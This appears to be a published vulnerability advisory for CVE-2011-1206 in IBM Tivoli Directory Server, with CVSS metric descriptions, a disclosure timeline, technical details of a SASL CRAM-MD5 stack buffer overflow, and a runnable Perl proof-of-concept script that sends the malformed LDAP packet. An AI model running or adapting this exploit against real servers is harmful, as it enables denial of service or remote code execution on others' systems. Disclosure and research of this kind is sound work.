The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
####
Application: IBM Tivoli Directory Server SASL Bind Request Remote Code Execution Vulnerability
Platforms: Windows
Exploitation: Remote code execution
CVE Number: CVE-2011-1206
ZDI number: ZDI-11-136
{PRL}: 2011-06
Author: Francis Provencher (Protek Research Lab's)
WebSite: http://www.protekresearchlab.com/
Twitter: @ProtekResearch
####
1) Introduction
2) Report Timeline
3) Technical details
4) POC
####
===============
1) Introduction
===============
IBM Tivoli Directory Server (ITDS), formerly known as IBM Directory Server,
is an IBM implementation of the Lightweight Directory Access Protocol,
and is part of the IBM Tivoli Identity & Access Management portfolio.
IBM Tivoli Directory Server is a powerful, security-rich and standards-compliant
enterprise directory for corporate intranets and the Internet. Directory Server is
built to serve as the identity data foundation for rapid development and deployment
of Web applications and security and identity management initiatives by including
strong management, replication and security features.Several authentication methods
are available with IBM Tivoli Directory Server, beyond basic usernames and passwords.
ITDS supports digital certificate-based authentication, the Simple Authentication and
Security Layer (SASL), Challenge-Response Authentication Mechanism MD5 (CRAM-MD5),
and Kerberos authentication.IBM Tivoli Directory Server is a powerful LDAP
infrastructure that provides a foundation for deploying comprehensive identity management
applications and advanced software architectures.
(http://en.wikipedia.org/wiki/IBM_Tivoli_Directory_Server)
####
============================
2) Report Timeline
============================
2011-02-17 - Vulnerability reported to vendor
2011-04-18 - Coordinated public release of advisory
####
====================
3) Technical details
====================
This vulnerability allows remote attackers to execute arbitrary code on vulnerable
installations of IBM Tivoli Directory Server. Authentication is not required to
exploit this vulnerability. The specific flaw exists in how ibmslapd.exe handles
LDAP CRAM-MD5 packets. ibmslapd.exe listens by default on port TCP 389. When the
process receives an LDAP CRAM-MD5 packet, it uses libibmldap.dll to handle the
allocation of a buffer for the packet data. A specially crafted packet can cause
the ber_get_int function to allocate a buffer that is too small to fit the packet
data, causing a subsequent stack-based buffer overflow. This can be leveraged by
a remote attacker to execute arbitrary code under the context of the SYSTEM user.
####
===========
4) POC
===========
#!/usr/bin/perl
use strict;
use warnings;
use Getopt::Std;
use IO::Socket::INET;
$SIG{INT} = \&abort;
my $host = '192.168.100.24';
my $port = 389;
my $proto = 'tcp';
my $sockType = SOCK_STREAM;
my $timeout = 1;
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );
if (defined $opt{h}) {
usage()
}
$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;
my @commands = (
{Command => 'Send',
Data => "\x30\x18\x02\x01\x01\x60\x13\x02\x01\x03\x04\x00\xA3\x0C\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x00"},
{Command => 'Receive'},
{Command => 'Send',
Data =>
"\x30\x82\x01\x41\x02\x01\x02\x60\x82\x01\x3A\x02\x01\x03\x04\x00\xA3\x82\x01\x31\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x84\xFF\xFF\xFF\xFF\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x
41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x36\x61\x37\x61\x31\x31\x34\x39\x36\x30\x33\x61\x64\x37\x64\x30\x33\x34\x39\x35\x66\x39\x65\x37\x31\x34\x66\x34\x30\x66\x31\x63"},
{Command => 'Receive'},
);
my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => $port,
Proto => $proto,
Type => $sockType,
Timeout => $timeout,
)
or die "socket error: $!\n\n";
print "connected to: $host:$port\n";
$sock->autoflush(1);
binmode $sock;
foreach my $command (@commands)
{
if ($command->{'Command'} eq 'Receive')
{
my $buf = receive($sock, $timeout);
if (length $buf)
{
print "received: [$buf]\n";
}
}
elsif ($command->{'Command'} eq 'Send')
{
print "sending: [".$command->{'Data'}."]\n";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
}
}
close ($sock);
sub receive
{
my $sock = shift;
my $timeout = shift;
my $tmpbuf;
my $buf = "";
while(1)
{
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm $timeout;
my $ret = read $sock, $tmpbuf, 1;
if ( !defined $ret or $ret == 0 )
{
die "timeout\n";
}
alarm 0;
$buf .= $tmpbuf;
};
if ($@) {
if($@ eq "timeout\n")
{
last;
}
else {
die "receive aborted\n";
}
}
}
return $buf;
}
sub abort
{
print "...\n";
if ($sock)
{
close $sock;
}
die "...\n";
}
sub usage
#####################################################################################